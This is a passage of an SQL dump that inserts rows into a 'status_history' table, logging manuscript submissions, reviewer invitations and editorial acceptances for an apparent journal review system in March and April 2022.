INSERT INTO `status_history` VALUES (117218,'2022-03-26 09:08:53','Publisher has Invited Reviewer',12669,'Publisher',48),(117219,'2022-03-26 09:08:57','Publisher has Invited Reviewer',12669,'Publisher',48),(117220,'2022-03-26 09:09:01','Publisher has Invited Reviewer',12669,'Publisher',48),(117221,'2022-03-26 10:09:16','Editor has Accepted to review Manuscript',12434,'Editor',1781),(117222,'2022-03-26 10:09:27','Editor has Accepted to review Manuscript',12403,'Editor',1781),(117223,'2022-03-26 10:09:31','Editor has Accepted to review Manuscript',12386,'Editor',1781),(117224,'2022-03-26 10:09:36','Editor has Accepted to review Manuscript',12287,'Editor',1781),(117225,'2022-03-26 10:09:41','Editor has Accepted to review Manuscript',11878,'Editor',1781),(117226,'2022-03-26 10:09:45','Editor has Accepted to review Manuscript',11573,'Editor',1781),(117227,'2022-03-28 13:51:52','Reviewer has submitted comments',12660,'Reviewer',11689),(117228,'2022-03-28 13:53:02','Editor has been Editor Decision Accepted article',12660,'Editor',194),(117229,'2022-03-28 13:53:22','Editor has Accepted to review Manuscript',12661,'Editor',194),(117230,'2022-03-28 13:53:29','Editor has Accepted to review Manuscript',12664,'Editor',194),(117231,'2022-03-28 13:53:35','Editor has Accepted to review Manuscript',12665,'Editor',194),(117232,'2022-03-28 13:54:18','Publisher has been Accepted Articles  article',12660,'Publisher',48),(117233,'2022-03-28 15:47:39','Editor has been Editor Decision Accepted article',9640,'Editor',1663),(117234,'2022-03-28 15:50:26','Publisher has been Accepted Articles  article',9640,'Publisher',274),(117235,'2022-03-28 15:52:58','Editor has been Editor Decision Accepted article',10147,'Editor',1669),(117236,'2022-03-28 15:56:09','Publisher has been Accepted Articles  article',10147,'Publisher',274),(117237,'2022-03-28 17:15:54','Editor has been Editor Decision Accepted article',10275,'Editor',1668),(117238,'2022-03-28 17:36:50','Editor has been Editor Decision Accepted article',10178,'Editor',1668),(117239,'2022-03-28 17:38:08','Publisher has been Accepted Articles  article',10178,'Publisher',274),(117240,'2022-03-28 17:55:39','Editor has Accepted to review Manuscript',12667,'Editor',194),(117241,'2022-03-28 17:55:54','Editor has been Editor Decision Accepted article',12667,'Editor',194),(117242,'2022-03-28 17:59:18','Editor has been Editor Decision Accepted article',12663,'Editor',195),(117243,'2022-03-28 18:01:03','Editor has Accepted to review Manuscript',12522,'Editor',161),(117244,'2022-03-28 18:01:14','Editor has been Editor Decision Accepted article',12522,'Editor',161),(117245,'2022-03-28 18:03:44','Publisher has been Accepted Articles  article',12522,'Publisher',75),(117246,'2022-03-29 09:56:19','Publisher has been Assigned Editor',12681,'Publisher',85),(117247,'2022-03-29 10:03:04','Publisher has been Accepted Articles  article',10275,'Publisher',274),(117248,'2022-03-29 10:03:06','Publisher has been Accepted Articles  article',10275,'Publisher',274),(117249,'2022-03-29 13:52:32','Manuscript Submitted by Author using Submission form',12694,'Author',12956),(117250,'2022-03-29 16:58:05','Manuscript Submitted by Author using Submission form',12695,'Author',12957),(117251,'2022-03-29 17:43:50','Reviewer has submitted comments',12661,'Reviewer',15675),(117252,'2022-03-29 17:44:55','Editor has been Editor Decision Accepted article',12661,'Editor',194),(117253,'2022-03-29 17:45:12','Editor has been Editor Decision Accepted article',12664,'Editor',194),(117254,'2022-03-29 17:46:12','Publisher has been Accepted Articles  article',12661,'Publisher',48),(117255,'2022-03-30 02:02:37','Manuscript Submitted by Author using Submission form',12697,'Author',12960),(117256,'2022-03-30 09:25:11','Publisher has Invited Reviewer',12681,'Publisher',85),(117257,'2022-03-30 09:25:47','Publisher has Invited Reviewer',12681,'Publisher',85),(117258,'2022-03-30 09:25:51','Publisher has Invited Reviewer',12681,'Publisher',85),(117259,'2022-03-30 09:25:55','Publisher has Invited Reviewer',12681,'Publisher',85),(117260,'2022-03-30 09:25:59','Publisher has Invited Reviewer',12681,'Publisher',85),(117261,'2022-03-30 09:26:03','Publisher has Invited Reviewer',12681,'Publisher',85),(117262,'2022-03-30 09:26:07','Publisher has Invited Reviewer',12681,'Publisher',85),(117263,'2022-03-30 09:26:11','Publisher has Invited Reviewer',12681,'Publisher',85),(117264,'2022-03-30 09:26:16','Publisher has Invited Reviewer',12681,'Publisher',85),(117265,'2022-03-30 09:26:20','Publisher has Invited Reviewer',12681,'Publisher',85),(117266,'2022-03-30 09:26:24','Publisher has Invited Reviewer',12681,'Publisher',85),(117267,'2022-03-30 09:26:28','Publisher has Invited Reviewer',12681,'Publisher',85),(117268,'2022-03-30 09:26:32','Publisher has Invited Reviewer',12681,'Publisher',85),(117269,'2022-03-30 09:26:36','Publisher has Invited Reviewer',12681,'Publisher',85),(117270,'2022-03-30 09:26:40','Publisher has Invited Reviewer',12681,'Publisher',85),(117271,'2022-03-30 09:26:44','Publisher has Invited Reviewer',12681,'Publisher',85),(117272,'2022-03-30 09:26:48','Publisher has Invited Reviewer',12681,'Publisher',85),(117273,'2022-03-30 09:26:52','Publisher has Invited Reviewer',12681,'Publisher',85),(117274,'2022-03-30 09:26:56','Publisher has Invited Reviewer',12681,'Publisher',85),(117275,'2022-03-30 09:27:00','Publisher has Invited Reviewer',12681,'Publisher',85),(117276,'2022-03-30 09:27:04','Publisher has Invited Reviewer',12681,'Publisher',85),(117277,'2022-03-30 09:27:08','Publisher has Invited Reviewer',12681,'Publisher',85),(117278,'2022-03-30 10:47:34','Reviewer has submitted comments',12664,'Reviewer',14684),(117279,'2022-03-30 10:48:31','Publisher has been Accepted Articles  article',12664,'Publisher',48),(117280,'2022-03-30 14:51:01','Publisher has been Assigned Editor',12695,'Publisher',48),(117281,'2022-03-30 15:13:33','Publisher has been Assigned Editor',12697,'Publisher',48),(117282,'2022-03-30 19:27:21','Manuscript Submitted by Author',12699,'Author',7494),(117283,'2022-03-30 23:11:11','Editor has Accepted to review Manuscript',12697,'Editor',195),(117284,'2022-03-30 23:11:41','Editor has Invited Reviewer',12697,'Editor',195),(117285,'2022-03-30 23:11:45','Editor has Invited Reviewer',12697,'Editor',195),(117286,'2022-03-30 23:11:50','Editor has Invited Reviewer',12697,'Editor',195),(117287,'2022-03-30 23:11:54','Editor has Invited Reviewer',12697,'Editor',195),(117288,'2022-03-30 23:11:58','Editor has Invited Reviewer',12697,'Editor',195),(117289,'2022-03-30 23:12:02','Editor has Invited Reviewer',12697,'Editor',195),(117290,'2022-03-30 23:12:07','Editor has Invited Reviewer',12697,'Editor',195),(117291,'2022-03-30 23:12:11','Editor has Invited Reviewer',12697,'Editor',195),(117292,'2022-03-30 23:12:15','Editor has Invited Reviewer',12697,'Editor',195),(117293,'2022-03-30 23:12:19','Editor has Invited Reviewer',12697,'Editor',195),(117294,'2022-03-30 23:12:23','Editor has Invited Reviewer',12697,'Editor',195),(117295,'2022-03-30 23:12:27','Editor has Invited Reviewer',12697,'Editor',195),(117296,'2022-03-30 23:12:31','Editor has Invited Reviewer',12697,'Editor',195),(117297,'2022-03-30 23:12:35','Editor has Invited Reviewer',12697,'Editor',195),(117298,'2022-03-30 23:12:39','Editor has Invited Reviewer',12697,'Editor',195),(117299,'2022-03-30 23:12:43','Editor has Invited Reviewer',12697,'Editor',195),(117300,'2022-03-30 23:12:48','Editor has Invited Reviewer',12697,'Editor',195),(117301,'2022-03-30 23:12:51','Editor has Invited Reviewer',12697,'Editor',195),(117302,'2022-03-30 23:12:55','Editor has Invited Reviewer',12697,'Editor',195),(117303,'2022-03-31 17:41:48','Reviewer has submitted comments',12665,'Reviewer',17548),(117304,'2022-03-31 17:42:40','Editor has been Editor Decision Accepted article',12665,'Editor',194),(117305,'2022-03-31 17:44:37','Publisher has been Accepted Articles  article',12665,'Publisher',48),(117306,'2022-03-31 20:52:09','Manuscript Submitted by Author using Submission form',12700,'Author',12962),(117307,'2022-04-02 20:31:58','Manuscript Submitted by Author using Submission form',12702,'Author',12966),(117308,'2022-04-04 09:16:09','Publisher has been Assigned Editor',12694,'Publisher',85),(117309,'2022-04-04 09:32:04','Reviewer has submitted comments',12670,'Reviewer',18593),(117310,'2022-04-04 09:32:36','Editor has Accepted to review Manuscript',12670,'Editor',194),(117311,'2022-04-04 09:32:59','Editor has been Editor Decision Accepted article',12670,'Editor',194),(117312,'2022-04-04 10:07:25','Publisher has been Assigned Editor',12693,'Publisher',75),(117313,'2022-04-04 10:07:46','Publisher has been Assigned Editor',12698,'Publisher',75),(117314,'2022-04-04 12:08:18','Manuscript Submitted by Publisher',12703,'Publisher',48),(117315,'2022-04-04 14:06:52','Publisher has Invited Reviewer',12699,'Publisher',48),(117316,'2022-04-04 14:06:56','Publisher has Invited Reviewer',12699,'Publisher',48),(117317,'2022-04-04 14:07:00','Publisher has Invited Reviewer',12699,'Publisher',48),(117318,'2022-04-04 14:07:04','Publisher has Invited Reviewer',12699,'Publisher',48),(117319,'2022-04-04 14:07:09','Publisher has Invited Reviewer',12699,'Publisher',48),(117320,'2022-04-04 17:08:17','Publisher has Invited Reviewer',12666,'Publisher',75),(117321,'2022-04-04 17:08:21','Publisher has Invited Reviewer',12666,'Publisher',75),(117322,'2022-04-04 17:08:25','Publisher has Invited Reviewer',12666,'Publisher',75),(117323,'2022-04-04 17:08:52','Publisher has Invited Reviewer',12666,'Publisher',75),(117324,'2022-04-04 17:08:56','Publisher has Invited Reviewer',12666,'Publisher',75),(117325,'2022-04-04 17:09:01','Publisher has Invited Reviewer',12666,'Publisher',75),(117326,'2022-04-04 17:09:05','Publisher has Invited Reviewer',12666,'Publisher',75),(117327,'2022-04-04 17:09:09','Publisher has Invited Reviewer',12666,'Publisher',75),(117328,'2022-04-06 10:05:55','Manuscript Submitted by Publisher',12706,'Publisher',984),(117329,'2022-04-06 10:08:22','Manuscript Submitted by Publisher',12707,'Publisher',984),(117330,'2022-04-06 10:10:38','Manuscript Submitted by Publisher',12708,'Publisher',984),(117331,'2022-04-06 10:13:35','Manuscript Submitted by Publisher',12709,'Publisher',984),(117332,'2022-04-06 10:16:21','Manuscript Submitted by Publisher',12710,'Publisher',984),(117333,'2022-04-06 11:49:17','Manuscript Submitted by Author using Submission form',12711,'Author',12974),(117334,'2022-04-06 13:19:04','Publisher has been Assigned Editor',12703,'Publisher',48),(117335,'2022-04-06 23:16:37','Manuscript Submitted by Author',12713,'Author',12966),(117336,'2022-04-06 23:21:06','Manuscript Submitted by Author',12714,'Author',12966),(117337,'2022-04-06 23:23:00','Manuscript Submitted by Author',12715,'Author',12966),(117338,'2022-04-06 23:24:15','Manuscript Submitted by Author',12716,'Author',12966),(117339,'2022-04-07 09:32:46','Publisher has Invited Reviewer',12703,'Publisher',48),(117340,'2022-04-07 09:32:50','Publisher has Invited Reviewer',12703,'Publisher',48),(117341,'2022-04-07 09:32:54','Publisher has Invited Reviewer',12703,'Publisher',48),(117342,'2022-04-07 09:32:58','Publisher has Invited Reviewer',12703,'Publisher',48),(117343,'2022-04-07 09:33:02','Publisher has Invited Reviewer',12703,'Publisher',48),(117344,'2022-04-07 10:07:14','Publisher has Invited Reviewer',12688,'Publisher',75),(117345,'2022-04-07 10:07:18','Publisher has Invited Reviewer',12688,'Publisher',75),(117346,'2022-04-07 10:07:24','Publisher has Invited Reviewer',12688,'Publisher',75),(117347,'2022-04-07 10:07:28','Publisher has Invited Reviewer',12688,'Publisher',75),(117348,'2022-04-07 10:07:54','Publisher has Invited Reviewer',12688,'Publisher',75),(117349,'2022-04-07 10:07:59','Publisher has Invited Reviewer',12688,'Publisher',75),(117350,'2022-04-07 10:16:32','Publisher has Invited Reviewer',12691,'Publisher',75),(117351,'2022-04-07 10:16:37','Publisher has Invited Reviewer',12691,'Publisher',75),(117352,'2022-04-07 10:16:41','Publisher has Invited Reviewer',12691,'Publisher',75),(117353,'2022-04-07 10:16:45','Publisher has Invited Reviewer',12691,'Publisher',75),(117354,'2022-04-07 10:16:49','Publisher has Invited Reviewer',12691,'Publisher',75),(117355,'2022-04-07 10:18:16','Publisher has Invited Reviewer',12692,'Publisher',75),(117356,'2022-04-07 10:18:20','Publisher has Invited Reviewer',12692,'Publisher',75),(117357,'2022-04-07 10:18:25','Publisher has Invited Reviewer',12692,'Publisher',75),(117358,'2022-04-07 10:18:29','Publisher has Invited Reviewer',12692,'Publisher',75),(117359,'2022-04-07 10:19:59','Publisher has Invited Reviewer',12693,'Publisher',75),(117360,'2022-04-07 12:04:45','Publisher has Invited Reviewer',12694,'Publisher',85),(117361,'2022-04-07 12:04:50','Publisher has Invited Reviewer',12694,'Publisher',85),(117362,'2022-04-07 12:04:54','Publisher has Invited Reviewer',12694,'Publisher',85),(117363,'2022-04-07 12:04:58','Publisher has Invited Reviewer',12694,'Publisher',85),(117364,'2022-04-07 12:05:02','Publisher has Invited Reviewer',12694,'Publisher',85),(117365,'2022-04-07 12:05:09','Publisher has Invited Reviewer',12694,'Publisher',85),(117366,'2022-04-07 12:05:14','Publisher has Invited Reviewer',12694,'Publisher',85),(117367,'2022-04-07 12:05:18','Publisher has Invited Reviewer',12694,'Publisher',85),(117368,'2022-04-07 12:05:22','Publisher has Invited Reviewer',12694,'Publisher',85),(117369,'2022-04-07 12:05:27','Publisher has Invited Reviewer',12694,'Publisher',85),(117370,'2022-04-07 12:05:31','Publisher has Invited Reviewer',12694,'Publisher',85),(117371,'2022-04-07 12:05:35','Publisher has Invited Reviewer',12694,'Publisher',85),(117372,'2022-04-07 12:05:39','Publisher has Invited Reviewer',12694,'Publisher',85),(117373,'2022-04-07 12:05:44','Publisher has Invited Reviewer',12694,'Publisher',85),(117374,'2022-04-07 12:05:48','Publisher has Invited Reviewer',12694,'Publisher',85),(117375,'2022-04-07 12:05:52','Publisher has Invited Reviewer',12694,'Publisher',85),(117376,'2022-04-07 12:05:57','Publisher has Invited Reviewer',12694,'Publisher',85),(117377,'2022-04-07 12:06:01','Publisher has Invited Reviewer',12694,'Publisher',85),(117378,'2022-04-07 12:06:05','Publisher has Invited Reviewer',12694,'Publisher',85),(117379,'2022-04-07 12:06:09','Publisher has Invited Reviewer',12694,'Publisher',85),(117380,'2022-04-07 12:06:13','Publisher has Invited Reviewer',12694,'Publisher',85),(117381,'2022-04-07 12:06:17','Publisher has Invited Reviewer',12694,'Publisher',85),(117382,'2022-04-07 12:06:22','Publisher has Invited Reviewer',12694,'Publisher',85),(117383,'2022-04-07 12:06:26','Publisher has Invited Reviewer',12694,'Publisher',85),(117384,'2022-04-07 12:06:30','Publisher has Invited Reviewer',12694,'Publisher',85),(117385,'2022-04-07 12:06:34','Publisher has Invited Reviewer',12694,'Publisher',85),(117386,'2022-04-07 12:06:39','Publisher has Invited Reviewer',12694,'Publisher',85),(117387,'2022-04-07 12:06:43','Publisher has Invited Reviewer',12694,'Publisher',85),(117388,'2022-04-07 12:06:47','Publisher has Invited Reviewer',12694,'Publisher',85),(117389,'2022-04-07 12:06:51','Publisher has Invited Reviewer',12694,'Publisher',85),(117390,'2022-04-07 12:06:55','Publisher has Invited Reviewer',12694,'Publisher',85),(117391,'2022-04-07 12:07:00','Publisher has Invited Reviewer',12694,'Publisher',85),(117392,'2022-04-07 12:07:04','Publisher has Invited Reviewer',12694,'Publisher',85),(117393,'2022-04-07 12:07:09','Publisher has Invited Reviewer',12694,'Publisher',85),(117394,'2022-04-07 12:07:13','Publisher has Invited Reviewer',12694,'Publisher',85),(117395,'2022-04-07 12:07:17','Publisher has Invited Reviewer',12694,'Publisher',85),(117396,'2022-04-07 12:07:21','Publisher has Invited Reviewer',12694,'Publisher',85),(117397,'2022-04-07 12:07:26','Publisher has Invited Reviewer',12694,'Publisher',85),(117398,'2022-04-07 12:07:29','Publisher has Invited Reviewer',12694,'Publisher',85),(117399,'2022-04-07 12:07:34','Publisher has Invited Reviewer',12694,'Publisher',85),(117400,'2022-04-07 12:07:38','Publisher has Invited Reviewer',12694,'Publisher',85),(117401,'2022-04-07 12:07:42','Publisher has Invited Reviewer',12694,'Publisher',85),(117402,'2022-04-07 12:07:46','Publisher has Invited Reviewer',12694,'Publisher',85),(117403,'2022-04-07 12:07:50','Publisher has Invited Reviewer',12694,'Publisher',85),(117404,'2022-04-07 12:07:54','Publisher has Invited Reviewer',12694,'Publisher',85),(117405,'2022-04-07 12:07:59','Publisher has Invited Reviewer',12694,'Publisher',85),(117406,'2022-04-07 12:08:03','Publisher has Invited Reviewer',12694,'Publisher',85),(117407,'2022-04-07 12:08:07','Publisher has Invited Reviewer',12694,'Publisher',85),(117408,'2022-04-07 12:08:11','Publisher has Invited Reviewer',12694,'Publisher',85),(117409,'2022-04-07 12:08:15','Publisher has Invited Reviewer',12694,'Publisher',85),(117410,'2022-04-07 12:08:19','Publisher has Invited Reviewer',12694,'Publisher',85),(117411,'2022-04-07 12:08:24','Publisher has Invited Reviewer',12694,'Publisher',85),(117412,'2022-04-07 12:08:28','Publisher has Invited Reviewer',12694,'Publisher',85),(117413,'2022-04-07 12:08:32','Publisher has Invited Reviewer',12694,'Publisher',85),(117414,'2022-04-07 12:08:36','Publisher has Invited Reviewer',12694,'Publisher',85),(117415,'2022-04-07 12:08:40','Publisher has Invited Reviewer',12694,'Publisher',85),(117416,'2022-04-07 12:08:45','Publisher has Invited Reviewer',12694,'Publisher',85),(117417,'2022-04-07 12:08:49','Publisher has Invited Reviewer',12694,'Publisher',85),(117418,'2022-04-07 12:08:53','Publisher has Invited Reviewer',12694,'Publisher',85),(117419,'2022-04-07 12:08:57','Publisher has Invited Reviewer',12694,'Publisher',85),(117420,'2022-04-07 12:09:01','Publisher has Invited Reviewer',12694,'Publisher',85),(117421,'2022-04-07 12:09:05','Publisher has Invited Reviewer',12694,'Publisher',85),(117422,'2022-04-07 12:09:09','Publisher has Invited Reviewer',12694,'Publisher',85),(117423,'2022-04-07 12:09:13','Publisher has Invited Reviewer',12694,'Publisher',85),(117424,'2022-04-07 13:20:47','Publisher has been Accepted Articles  article',12670,'Publisher',48),(117425,'2022-04-07 14:34:34','Editor has Accepted to review Manuscript',12666,'Editor',160),(117426,'2022-04-07 14:34:45','Editor has been Editor Decision Accepted article',12666,'Editor',160),(117427,'2022-04-07 14:35:25','Publisher has been Accepted Articles  article',12666,'Publisher',75),(117428,'2022-04-07 14:47:02','Publisher has Invited Reviewer',12681,'Publisher',85),(117429,'2022-04-07 14:47:06','Publisher has Invited Reviewer',12681,'Publisher',85),(117430,'2022-04-07 14:47:10','Publisher has Invited Reviewer',12681,'Publisher',85),(117431,'2022-04-07 14:47:14','Publisher has Invited Reviewer',12681,'Publisher',85),(117432,'2022-04-07 14:47:19','Publisher has Invited Reviewer',12681,'Publisher',85),(117433,'2022-04-07 14:47:23','Publisher has Invited Reviewer',12681,'Publisher',85),(117434,'2022-04-07 14:47:27','Publisher has Invited Reviewer',12681,'Publisher',85),(117435,'2022-04-07 14:47:31','Publisher has Invited Reviewer',12681,'Publisher',85),(117436,'2022-04-07 14:47:35','Publisher has Invited Reviewer',12681,'Publisher',85),(117437,'2022-04-07 14:47:39','Publisher has Invited Reviewer',12681,'Publisher',85),(117438,'2022-04-07 14:47:44','Publisher has Invited Reviewer',12681,'Publisher',85),(117439,'2022-04-07 14:47:48','Publisher has Invited Reviewer',12681,'Publisher',85),(117440,'2022-04-07 18:16:19','Publisher has been Assigned Editor',12711,'',1045),(117441,'2022-04-08 17:58:17','Publisher has been Assigned Editor',12707,'Publisher',984),(117442,'2022-04-08 17:58:44','Publisher has been Assigned Editor',12708,'Publisher',984),(117443,'2022-04-08 17:58:58','Publisher has been Assigned Editor',12709,'Publisher',984),(117444,'2022-04-08 17:59:15','Publisher has been Assigned Editor',12710,'Publisher',984),(117445,'2022-04-08 19:37:15','Manuscript Submitted by Author using Submission form',12720,'Author',12979),(117446,'2022-04-11 10:03:17','Publisher has Invited Reviewer',12688,'Publisher',75),(117447,'2022-04-11 10:03:21','Publisher has Invited Reviewer',12688,'Publisher',75),(117448,'2022-04-11 10:03:25','Publisher has Invited Reviewer',12688,'Publisher',75),(117449,'2022-04-11 10:03:29','Publisher has Invited Reviewer',12688,'Publisher',75),(117450,'2022-04-11 10:03:34','Publisher has Invited Reviewer',12688,'Publisher',75),(117451,'2022-04-11 10:03:38','Publisher has Invited Reviewer',12688,'Publisher',75),(117452,'2022-04-11 10:05:02','Publisher has Invited Reviewer',12691,'Publisher',75),(117453,'2022-04-11 10:05:07','Publisher has Invited Reviewer',12691,'Publisher',75),(117454,'2022-04-11 10:05:11','Publisher has Invited Reviewer',12691,'Publisher',75),(117455,'2022-04-11 10:05:15','Publisher has Invited Reviewer',12691,'Publisher',75),(117456,'2022-04-11 10:09:00','Publisher has Invited Reviewer',12692,'Publisher',75),(117457,'2022-04-11 10:09:04','Publisher has Invited Reviewer',12692,'Publisher',75),(117458,'2022-04-11 10:09:08','Publisher has Invited Reviewer',12692,'Publisher',75),(117459,'2022-04-11 10:09:20','Publisher has Invited Reviewer',12692,'Publisher',75),(117460,'2022-04-11 10:09:24','Publisher has Invited Reviewer',12692,'Publisher',75),(117461,'2022-04-11 10:09:58','Publisher has Invited Reviewer',12693,'Publisher',75),(117462,'2022-04-11 10:10:13','Publisher has Invited Reviewer',12693,'Publisher',75),(117463,'2022-04-11 10:10:17','Publisher has Invited Reviewer',12693,'Publisher',75),(117464,'2022-04-11 10:10:21','Publisher has Invited Reviewer',12693,'Publisher',75),(117465,'2022-04-11 10:10:50','Publisher has Invited Reviewer',12693,'Publisher',75),(117466,'2022-04-11 10:11:09','Publisher has Invited Reviewer',12693,'Publisher',75),(117467,'2022-04-11 10:11:14','Publisher has Invited Reviewer',12693,'Publisher',75),(117468,'2022-04-11 10:12:19','Publisher has Invited Reviewer',12698,'Publisher',75),(117469,'2022-04-11 10:12:31','Publisher has Invited Reviewer',12698,'Publisher',75),(117470,'2022-04-11 10:12:35','Publisher has Invited Reviewer',12698,'Publisher',75),(117471,'2022-04-11 10:12:39','Publisher has Invited Reviewer',12698,'Publisher',75),(117472,'2022-04-11 10:12:43','Publisher has Invited Reviewer',12698,'Publisher',75),(117473,'2022-04-12 00:08:17','Reviewer has submitted comments',12680,'Reviewer',5467),(117474,'2022-04-12 00:08:58','Reviewer has submitted comments',12680,'Reviewer',5467),(117475,'2022-04-12 00:09:54','Reviewer has submitted comments',12711,'Reviewer',5467),(117476,'2022-04-12 00:10:18','Reviewer has submitted comments',12711,'Reviewer',5467),(117477,'2022-04-12 00:23:31','Reviewer has submitted comments',12711,'Reviewer',5467),(117478,'2022-04-12 11:04:28','Reviewer has submitted comments',12699,'Reviewer',21373),(117479,'2022-04-12 12:03:10','Reviewer has submitted comments',12699,'Reviewer',21373),(117480,'2022-04-12 12:07:45','Reviewer has submitted comments',12699,'Reviewer',21369),(117481,'2022-04-12 13:37:11','Reviewer has submitted comments',12670,'Reviewer',18593),(117482,'2022-04-12 13:37:27','Reviewer has submitted comments',12670,'Reviewer',18593),(117483,'2022-04-12 17:46:16','Publisher has Invited Reviewer',12695,'Publisher',48),(117484,'2022-04-12 17:46:20','Publisher has Invited Reviewer',12695,'Publisher',48),(117485,'2022-04-12 17:46:24','Publisher has Invited Reviewer',12695,'Publisher',48),(117486,'2022-04-12 17:46:28','Publisher has Invited Reviewer',12695,'Publisher',48),(117487,'2022-04-12 17:46:32','Publisher has Invited Reviewer',12695,'Publisher',48),(117488,'2022-04-12 18:08:22','Publisher has been Assigned Editor',12720,'Publisher',75),(117489,'2022-04-13 00:32:18','Manuscript Submitted by Author using Submission form',12723,'Author',12984),(117490,'2022-04-13 10:10:41','Editor has Accepted to review Manuscript',12699,'Editor',195),(117491,'2022-04-13 10:10:52','Editor has been Editor Decision Accepted article',12699,'Editor',195),(117492,'2022-04-13 10:12:06','Publisher has been Accepted Articles  article',12699,'Publisher',48),(117493,'2022-04-13 10:23:06','Reviewer has submitted comments',12506,'Reviewer',14534),(117494,'2022-04-13 14:38:52','Editor has been Editor Decision Accepted article',9999,'Editor',1668),(117495,'2022-04-13 14:42:14','Publisher has been Accepted Articles  article',9999,'Publisher',274),(117496,'2022-04-13 14:54:44','Editor has Accepted to review Manuscript',12271,'Editor',1668),(117497,'2022-04-13 14:55:05','Editor has been Editor Decision Accepted article',12271,'Editor',1668),(117498,'2022-04-13 14:56:52','Publisher has been Accepted Articles  article',12271,'Publisher',274),(117499,'2022-04-13 15:02:47','Editor has Accepted to review Manuscript',12076,'Editor',1670),(117500,'2022-04-13 15:03:04','Editor has been Editor Decision Accepted article',12076,'Editor',1670),(117501,'2022-04-13 15:04:38','Publisher has been Accepted Articles  article',12076,'Publisher',274),(117502,'2022-04-13 15:07:04','Manuscript Submitted by Author using Submission form',12724,'Author',12985),(117503,'2022-04-13 15:13:03','Editor has Accepted to review Manuscript',12133,'Editor',161),(117504,'2022-04-13 15:13:26','Editor has been Editor Decision Accepted article',12133,'Editor',161),(117505,'2022-04-13 15:13:27','Editor has been Editor Decision Accepted article',12133,'Editor',161),(117506,'2022-04-13 15:14:07','Publisher has been Accepted Articles  article',12133,'Publisher',75),(117507,'2022-04-13 15:15:23','Publisher has Invited Reviewer',12720,'Publisher',75),(117508,'2022-04-13 15:15:27','Publisher has Invited Reviewer',12720,'Publisher',75),(117509,'2022-04-13 15:15:31','Publisher has Invited Reviewer',12720,'Publisher',75),(117510,'2022-04-13 15:15:36','Publisher has Invited Reviewer',12720,'Publisher',75),(117511,'2022-04-13 15:15:47','Publisher has Invited Reviewer',12720,'Publisher',75),(117512,'2022-04-13 15:18:00','Manuscript Submitted by Author using Submission form',12725,'Author',12986),(117513,'2022-04-13 15:22:40','Editor has Accepted to review Manuscript',12075,'Editor',1668),(117514,'2022-04-13 15:22:56','Editor has been Editor Decision Accepted article',12075,'Editor',1668),(117515,'2022-04-13 15:25:02','Publisher has been Accepted Articles  article',12075,'Publisher',274),(117516,'2022-04-13 15:26:32','Editor has Accepted to review Manuscript',12015,'Editor',1666),(117517,'2022-04-13 16:04:10','Manuscript Submitted by Author using Submission form',12726,'Author',12987),(117518,'2022-04-13 16:45:50','Reviewer has submitted comments',12581,'Reviewer',14534),(117519,'2022-04-13 16:46:45','Editor has Accepted to review Manuscript',12581,'Editor',194),(117520,'2022-04-13 16:46:59','Editor has been Editor Decision Accepted article',12581,'Editor',194),(117521,'2022-04-13 16:50:38','Publisher has been Accepted Articles  article',12581,'Publisher',48),(117522,'2022-04-13 17:22:20','Publisher has Invited Reviewer',12720,'Publisher',75),(117523,'2022-04-13 17:22:48','Publisher has Invited Reviewer',12720,'Publisher',75),(117524,'2022-04-13 17:22:52','Publisher has Invited Reviewer',12720,'Publisher',75),(117525,'2022-04-13 17:22:56','Publisher has Invited Reviewer',12720,'Publisher',75),(117526,'2022-04-13 17:23:25','Publisher has Invited Reviewer',12698,'Publisher',75),(117527,'2022-04-13 17:23:53','Publisher has Invited Reviewer',12698,'Publisher',75),(117528,'2022-04-13 17:23:57','Publisher has Invited Reviewer',12698,'Publisher',75),(117529,'2022-04-13 17:24:01','Publisher has Invited Reviewer',12698,'Publisher',75),(117530,'2022-04-13 17:25:10','Publisher has Invited Reviewer',12688,'Publisher',75),(117531,'2022-04-13 17:25:14','Publisher has Invited Reviewer',12688,'Publisher',75),(117532,'2022-04-13 17:25:39','Publisher has Invited Reviewer',12688,'Publisher',75),(117533,'2022-04-13 17:25:43','Publisher has Invited Reviewer',12688,'Publisher',75),(117534,'2022-04-13 17:25:47','Publisher has Invited Reviewer',12688,'Publisher',75),(117535,'2022-04-13 17:28:02','Publisher has Invited Reviewer',12691,'Publisher',75),(117536,'2022-04-13 17:28:06','Publisher has Invited Reviewer',12691,'Publisher',75),(117537,'2022-04-13 17:28:10','Publisher has Invited Reviewer',12691,'Publisher',75),(117538,'2022-04-13 17:28:14','Publisher has Invited Reviewer',12691,'Publisher',75),(117539,'2022-04-13 17:28:18','Publisher has Invited Reviewer',12691,'Publisher',75),(117540,'2022-04-13 17:28:22','Publisher has Invited Reviewer',12691,'Publisher',75),(117541,'2022-04-13 17:28:57','Publisher has Invited Reviewer',12692,'Publisher',75),(117542,'2022-04-13 17:29:02','Publisher has Invited Reviewer',12692,'Publisher',75),(117543,'2022-04-13 17:29:06','Publisher has Invited Reviewer',12692,'Publisher',75),(117544,'2022-04-13 17:29:10','Publisher has Invited Reviewer',12692,'Publisher',75),(117545,'2022-04-13 17:32:13','Publisher has Invited Reviewer',12693,'Publisher',75),(117546,'2022-04-13 17:32:17','Publisher has Invited Reviewer',12693,'Publisher',75),(117547,'2022-04-13 17:32:21','Publisher has Invited Reviewer',12693,'Publisher',75),(117548,'2022-04-13 17:32:25','Publisher has Invited Reviewer',12693,'Publisher',75),(117549,'2022-04-13 17:32:29','Publisher has Invited Reviewer',12693,'Publisher',75),(117550,'2022-04-13 17:32:33','Publisher has Invited Reviewer',12693,'Publisher',75),(117551,'2022-04-13 18:04:12','Editor has been Editor Decision Accepted article',12015,'Editor',1666),(117552,'2022-04-15 10:33:18','Manuscript Submitted by Author using Submission form',12728,'Author',12988),(117553,'2022-04-15 17:12:28','Publisher has Invited Reviewer',12554,'Publisher',48),(117554,'2022-04-15 17:12:34','Publisher has Invited Reviewer',12554,'Publisher',48),(117555,'2022-04-15 17:48:03','Publisher has been Withdrawn  article',11980,'Publisher',274),(117556,'2022-04-16 10:06:35','Editor has been Editor Decision Accepted article',12015,'Editor',1666),(117557,'2022-04-16 10:06:49','Editor has been Editor Decision Accepted article',12015,'Editor',1666),(117558,'2022-04-16 10:08:59','Publisher has been Accepted Articles  article',12015,'Publisher',274),(117559,'2022-04-17 16:48:50','Manuscript Submitted by Author using Submission form',12731,'Author',12990),(117560,'2022-04-18 00:40:50','Reviewer has submitted comments',12693,'Reviewer',10287),(117561,'2022-04-18 00:40:56','Reviewer has submitted comments',12693,'Reviewer',10287),(117562,'2022-04-18 10:06:31','Manuscript Submitted by Author using Submission form',12733,'Author',12991),(117563,'2022-04-18 